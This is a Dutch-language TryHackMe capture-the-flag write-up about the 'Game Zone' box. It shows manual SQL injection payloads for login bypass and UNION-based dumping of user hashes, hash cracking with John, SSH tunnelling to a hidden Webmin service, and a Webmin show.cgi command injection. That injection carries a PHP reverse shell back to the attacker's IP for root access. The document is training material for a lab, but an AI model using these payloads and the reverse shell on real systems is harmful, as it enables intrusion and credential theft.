Spelzone -ProbeerHackMe – Handleiding SQLi Schrijfopdracht

Reading Time: ( Word Count: )

februari 20, 2021
Nextdoorsec-course

Intro

Dit artikel behandelt het handmatig uitbuiten van een SQLi-kwetsbaarheid zonder SQLMap te gebruiken, het kraken van een gehasht wachtwoord van een gebruiker, het gebruik van SSH-tunnels om een verborgen service te onthullen en het verkrijgen van rootprivileges zonder Metasploit. Hier is een link naar de Tryhackme box.

 

Opsomming

Nmap scan

Ik vind het prettig om een omgevingsvariabele te definiëren voor het IP-adres van het doel, zodat ik het niet steeds hoef te onthouden of in te typen.

┌(kali㉿kali)-[~] └─$ export IP=10.10.168.30 ┌(kali㉿kali)-[~] └─$ nmap -A -sV -p- -v $IP
PORT STATE SERVICE VERSIE 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 61:ea:89:f1:d4:a7:dc:a5:50:f7:6d:89:c3:af:0b:03 (RSA) | 256 b3:7d:72:46:1e:d3:41:b6:6a:91:15:16:c9:4a:a5:fa (ECDSA) |_ 256 53:67:09:dc:ff:fb:3a:3e:fb:fe:cf:d8:6d:41:27:ab (ED25519) 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) | http-cookie-flags: | /: | PHPSESSID: |De vlag httponly is niet ingesteld | http-methodes: |Ondersteunde methoden: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.18 (Ubuntu) |_http-titel: Spelzone Service-info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Slechts twee open TCP-poorten, je kunt niet veel doen met SSH zonder referenties, behalve bruteforcen. Laten we eens kijken naar de website die draait op poort 80.

Aangezien deze machine gebaseerd is op een SQLi-kwetsbaarheid, laten we beginnen met de basis van SQLi.

Aangezien deze machine gebaseerd is op een SQLi-kwetsbaarheid, laten we beginnen met de basis van SQL-injectie.

SQL-injectie

SQL-injectie treedt op wanneer door de gebruiker gecontroleerde invoer wordt doorgegeven aan SQL-query’s; op deze manier kunnen we de uitkomst van dergelijke query’s manipuleren.

Een query ziet er als volgt uit: SELECT ? FROM ? WHERE ? LIKE ? wat betekent SELECT something FROM some table WHERE some column LIKE '% %'zet het commando standaard tussen enkele aanhalingstekens ' ' met % % erin, wat jokertekens zijn. Als we zoeken naar ookwat wordt '%ook%' waar we book in onze database, zullen we het kunnen vinden dankzij die jokertekens. We hebben alleen controle over de book woord, kunnen we de rest van de query niet wijzigen omdat deze hard gecodeerd is in de PHP-code van de backend.

Eerst moet je uitzoeken welk databasebeheersysteem er op de server draait. De foutmelding op de website laat ons weten welke software wordt gebruikt voor het beheren van de database.

Zet deze query in het aanmeldingsformulier:
john' or 0=0 #
die het volgende zal doen:

SELECT * FROM users WHERE username='john' or 0=0;#' and password='john'; toon/selecteer alle kolommen uit tabel gebruikers waar kolom gebruikersnaam john is or (voert de query uit als ten minste één voorwaarde waar is) 0=0 die altijd waar zal opleveren en de query zal worden uitgevoerd. Het hashsymbool # commentaar bij alles wat volgt, waardoor het volgende gedeelte wordt genegeerd ' and password='john'. Als de app kwetsbaar is, kun je alle kolommen en hun waarden weergeven. Maar in ons geval kunnen we het inlogscherm omzeilen.

Nu vinden we nog een SQL-injecteerbaar formulier als zoekveld:

Als we nu een enkele quote
'
als onze query, zal het een foutmelding produceren (inhoud kan ook verdwijnen), die ons meer vertelt over het databasebeheersysteem, dat hier MySQL is:

U hebt een fout in uw SQL-syntax; controleer de handleiding die overeenkomt met uw MySQL-serverversie voor de juiste syntaxis die u moet gebruiken bij '%'' op regel 1.

“U hebt een fout in uw SQL-syntax; controleer de handleiding die overeenkomt met uw MySQL-serverversie voor de juiste syntaxis om te gebruiken in de buurt van ‘%” op regel 1.”

Laten we onze eerste query gebruiken om te zien of we alle kolommen en hun waarden kunnen weergeven:

We zien slechts twee kolommen in de uitvoer, namelijk Titel en Beoordeling. Tijd om het aantal kolommen op te sommen in de tabel die standaard wordt opgevraagd. Om dat te doen, gebruiken we een eenvoudige truc: 'order by 1-- -.

Je moet dit getal met 1 verhogen totdat je een foutmelding krijgt, wat betekent dat het niet bestaat. Tot die tijd zie je geen uitvoer als het commando succesvol wordt uitgevoerd.

Ik kon tot 3 verhogen totdat ik een foutmelding kreeg. Ons doel heeft 3 kolommen.

U hebt een fout in uw SQL-syntax; controleer de handleiding die overeenkomt met uw MySQL-serverversie voor de juiste syntaxis die u moet gebruiken bij '%'' op regel 1.

We kunnen nu proberen informatie te injecteren met het
union
commando:

Laten we de databases in MySQL opzoeken met de tabel INFORMATION_SCHEMA, die informatie geeft over alle tabellen, in feite de metagegevens van de database of de systeemcatalogus:

query > ' UNION select 1,table_schema,table_name from information_schema.tables #
... informatie_schema INNODB_CMPMEM informatie_schema INNODB_BUFFER_POOL_STATS informatie_schema INNODB_SYS_COLUMNS informatie_schema INNODB_SYS_FOREIGN informatie_schema INNODB_SYS_TABLESTATS db post db gebruikers mysql kolommen_priv mysql db mysql engine_kosten mysql gebeurtenis ...

voert alle tabellen en hun waarden uit. De tabellen ‘post’ en ‘users’ zien er interessant uit voor ons vanuit de database ‘db’.

Laten we nu nog steeds alles ophalen, want ik vind het prettig om meer informatie te hebben om na te zoeken:

query > ' union select 1, table_name,column_name from information_schema.columns #
... NNODB_SYS_TABLESTATS MODIFIED_COUNTER INNODB_SYS_TABLESTATS AUTOINC INNODB_SYS_TABLESTATS REF_COUNT post id post name post description gebruikers gebruikersnaam gebruikers pwd kolommen_priv Host kolommen_priv Db kolommen_priv Gebruiker kolommen_priv Tabel_naam ...

De bovenstaande query geeft ons alle tabel- en kolomnamen. We zetten niets in de eerste rij omdat die verborgen is om de een of andere reden die ik niet ken. Als je het wel weet, kun je het me hieronder laten weten.

We kunnen specifieker zijn en de kolommen gebruikersnaam en pwd selecteren uit de tabel met gebruikers.

query > 'union select 1, username,pwd from users #
agent47 ab5db915fc9ce[redacted]6500c57f2b52901ca6c0c6218f04122c3efd14

 

De hash kraken

Nu we de gegevens hebben, is het tijd om de hash te kraken. Ik gebruik de volgende
website
om het hashtype te identificeren en zal het samen met John kraken.

┌──(kali㉿kali)-[~] └─$ sudo john hash.txt --wordlist=rockyou.txt --format=raw-sha256 Map aangemaakt: /root/.john Standaard invoercodering gebruiken: UTF-8 1 wachtwoord hash geladen (Raw-SHA256 [SHA256 128/128 AVX 4x]) Waarschuwing: slechte OpenMP schaalbaarheid voor dit hashtype, overweeg --fork=8 Draait 8 OpenMP threads Druk op 'q' of Ctrl-C om af te breken, bijna elke andere toets voor status [redacted] (?) 1g 0:00:00:00 DONE (2021-02-18 19:57) 2.777g/s 8192Kp/s 8192Kc/s 8192KC/s vimivi..vainlove Gebruik de "--show --format=Raw-SHA256" opties om alle gekraakte wachtwoorden betrouwbaar weer te geven Sessie voltooid

Om het correcte schrijven van alle hash-types te bekijken, gebruik je de volgende optie:
john --list=formats

Exploitatie

SSH

Als je het je herinnert, hadden we ook een open ssh poort, dus laten we verbinding maken met de referenties die we hebben opgehaald en een lijst maken van al onze boxverbindingen.

┌──(kali㉿kali)-[~] └─$ ssh agent47@$IP agent47@gamezone:~$ ss -tulpn
Netid State Recv-Q Send-Q Lokaal adres: poort Peer adres: poort udp UNCONN 0 0 *:10000 *:* udp UNCONN 0 0 *:68 *:* tcp LISTEN 0 80 127.0.0.1:3306 *:* tcp LISTEN 0 128 *:10000 *:* tcp LUISTEREN 0 128 *:22 *:* tcp LUISTEREN 0 128 :::80 :::* tcp LUISTEREN 0 128 :::22 :::*

Poort 10000 kwam niet tevoorschijn in onze Nmap scan en de overige zijn vrij eenvoudig, dus niet echt interessant. Een firewallregel moet poort 10000 blokkeren. Laten we dit proberen te controleren:

agent47@gamezone:~$ cat /etc/iptables/rules.v4
cat: /etc/iptables/rules.v4: Toestemming geweigerd

Hoewel we de iptables niet kunnen bekijken, kunnen we met behulp van een SSH-tunnel de poort (lokaal) aan ons blootstellen!

 

SSH-tunnel

Vanaf onze lokale machine draaien we:
ssh -L 10000:localhost:10000 agent47@$IP
om de poort te tunnelen naar onze localhost zodat we er lokaal toegang toe hebben.

Als je dat gedaan hebt, typ dan in je browser: localhost:10000en u krijgt toegang tot de nieuw blootgelegde webserver. Je kunt de eerder gevonden referenties gebruiken.

De blootgelegde CMS versie is 1.580. Hierdoor gaan we snel op zoek naar mogelijke kwetsbaarheden:

┌──(kali㉿kali)-[~] └─$ zoeksploit -w "webmin 1.580"
--------------------------------------------- -------------------------------------------- Titel van de exploit | URL --------------------------------------------- -------------------------------------------- Webmin 1.580 - '/file/show.cgi' Komma op afstand | https://www.exploit-db.com/exploits/21851 Webmin <1.920 - 'rpc.cgi' Code Execu | https://www.exploit-db.com/exploits/47330 --------------------------------------------- -------------------------------------------- Shellcodes: Geen resultaten

Het levert ons twee Metasploit-modules op en geen standalone exploit. Na het lezen van de code van de eerste Metasploit module, komen we erachter dat het toevoegen van /file/show.cgi aan de URL, stelt ons in staat om de directories als root te doorlopen.

Nog wat opsomming

Om je wat tijd te besparen, heb ik geprobeerd het volgende op te halen
etc/passwd
&
etc/shadow
& ze daarna te kraken met john, maar het kraken werkte niet.

Ik controleerde de etc/sudoers bestand, maar niets interessants. Zo is de etc/crontab bestand.

De vlag kan eenvoudig worden opgehaald door naar het gebruikelijke rootpad te gaan, maar ik wilde echt eerst rootprivileges krijgen.

Laten we zoeken naar de binaire bestanden met SUID-bit:

agent47@gamezone:/$ find / -perm -u=s -type f 2>/dev/null
/usr/bin/newgrp /usr/bin/passwd /usr/bin/chsh /usr/bin/newuidmap /usr/bin/chfn /usr/bin/gpasswd /usr/bin/newgidmap /usr/bin/pkexec /usr/bin/at /usr/bin/sudo /usr/lib/dbus-1.0/dbus-daemon-launch-helper /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic /usr/lib/snapd/snap-confine /usr/lib/openssh/ssh-keysign /usr/lib/eject/dmcrypt-get-device /usr/lib/policykit-1/polkit-agent-helper-1 /bin/ntfs-3g /bin/umount /bin/fusermount /bin/mount /bin/ping /bin/su /bin/ping6

Ik heb ook een paar scripts geüpload om te controleren op zwakke punten, maar allemaal negatief.

 

Privilege-escalatie

Ik heb wat tijd besteed aan het uploaden van reverse shell scripts en ze in de /tmp map, maar het werkte niet. Uiteindelijk vond ik de volgende PHP one-liner web shell die werkte door hem een beetje anders uit te voeren:

http://localhost:10000/file/show.cgi/bin//file/show.cgi/bin/A|php%20-r%20'$sock=fsockopen(%2210.8.152.221%22,443);exec(%22/bin/sh%20-i%20%3C&3%20%3E&3%202%3E&3%22);'| sudo nc -nlvp 443 luisteren naar [any] 443 ... verbinden met [10 .8.152.221] van (UNKNOWN) [10 .10.141.213] 42842 /bin/sh: 0: geen toegang tot tty; opdrachtcontrole uitgeschakeld # whoami root #
Aydan

Aydan

Author

Aydan, a cybersecurity ace and AI visionary, thrives on the frontlines of offensive security. His passion birthed NextdoorSec, a groundbreaking cybersecurity firm. A relentless pioneer, Aydan is persistently pushing boundaries, shaping the future of the digital world one byte at a time.

Other interesting articles

“Apple neutraliseert misbruikte kwetsbaarheden: Een uitgebreide update”

Apple heeft beveiligingsverbeteringen geïntroduceerd om 'zero-day'-kwetsbaarheden te neutraliseren die zijn ...

“Ongeziene risico’s: Hoe de gestolen Microsoft-sleutel meer kan ontsluiten dan verwacht”.

De vermeende diefstal van een beveiligingssleutel van Microsoft zou spionnen in Peking in staat hebben gesteld om ...

“De AI-prestaties van ChatGPT: Verder dan de Turingtest of nog niet helemaal?”

ChatGPT, een kunstmatige intelligentie chatbot van OpenAI, heeft door zijn buitengewone capaciteiten veel stof ...

“Verliest Threads zijn draad? De Twitter rivaal van Instagram nader bekeken”.

Een artikel van de Wall Street Journal van vrijdag waarschuwde dat Instagram's nieuwe concurrent voor Twitter, ...
0 reacties

Een reactie versturen

Het e-mailadres wordt niet gepubliceerd. Vereiste velden zijn gemarkeerd met *